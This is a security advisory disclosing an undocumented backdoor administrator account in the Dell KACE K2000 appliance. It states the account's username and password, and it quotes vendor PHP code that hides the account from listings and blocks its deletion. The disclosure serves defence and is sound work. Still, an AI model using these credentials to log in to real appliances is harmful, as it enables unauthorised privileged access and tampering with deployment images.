[R2] Dell KACE K2000 System Deployment Appliance Backdoor Admin Account

Dell KACE K2000 Systems Deployment Appliance installs with default user credentials. The 'kbox1248163264128256' account has a password of 'kbox1248163264128256', which is publicly known and documented. This allows remote attackers to trivially gain privileged access to the web interface which controls the device.

Looking at the KUser.class.php source, it appears this is a vendor backdoor:

      9 class KUser {
     10     private static $__admin_username    = 'admin';
     11     private static $__backdoor_username = 'kbox1248163264128256';

While the 'admin' account is documented, the 'kbox1248163264128256' account is not. This account is not visible via the web interface:

    119     public static function ListAll($orderByClause = null, $limitClause = null,
    120                                    &$dbTotalCount = null, $search = null,
    121                                    $label = null, $permission = null)
    122     {
    ...
    135         $dbTotalCount = $db->GetOne(sprintf("select count(distinct USER.ID)
    136                                                from USER left join USER_LABEL_JT
    137                                                  on USER.ID = USER_LABEL_JT.USER_ID
    138                                               where USER_NAME != '%s'
    139                                                     %s",
    140                                             self::$__backdoor_username,
    141                                             $restrict));
    142
    143         $rows = $db->Execute(sprintf("select *
    144                                         from USER left join USER_LABEL_JT
    145                                           on USER.ID = USER_LABEL_JT.USER_ID
    146                                        where USER_NAME != '%s'
    147                                              %s
    148                                     group by USER.ID
    149                                              %s %s",
    150                                      self::$__backdoor_username,
    151                                      $restrict,
    152                                      $orderByClause,
    153                                      $limitClause));

Additionally, it cannot be removed via the web interface:

     90     public static function Delete($id) {
     91         $db = dbConnect();
     92         // don't allow the admin users to be deleted
     93         $rset = $db->Execute(sprintf("select ID, FULL_NAME from USER
     94                                        where ID = %s
     95                                          and USER_NAME != %s
     96                                          and USER_NAME != %s",
     97                                      esc_sql($id),
     98                                      esc_sql(self::$__admin_username),
     99                                      esc_sql(self::$__backdoor_username)));

A remote attacker could exploit this to modify existing deployment/recovery images, gain sensitive information, or mount further attacks (e.g. remote code execution via the associated vulnerabilities).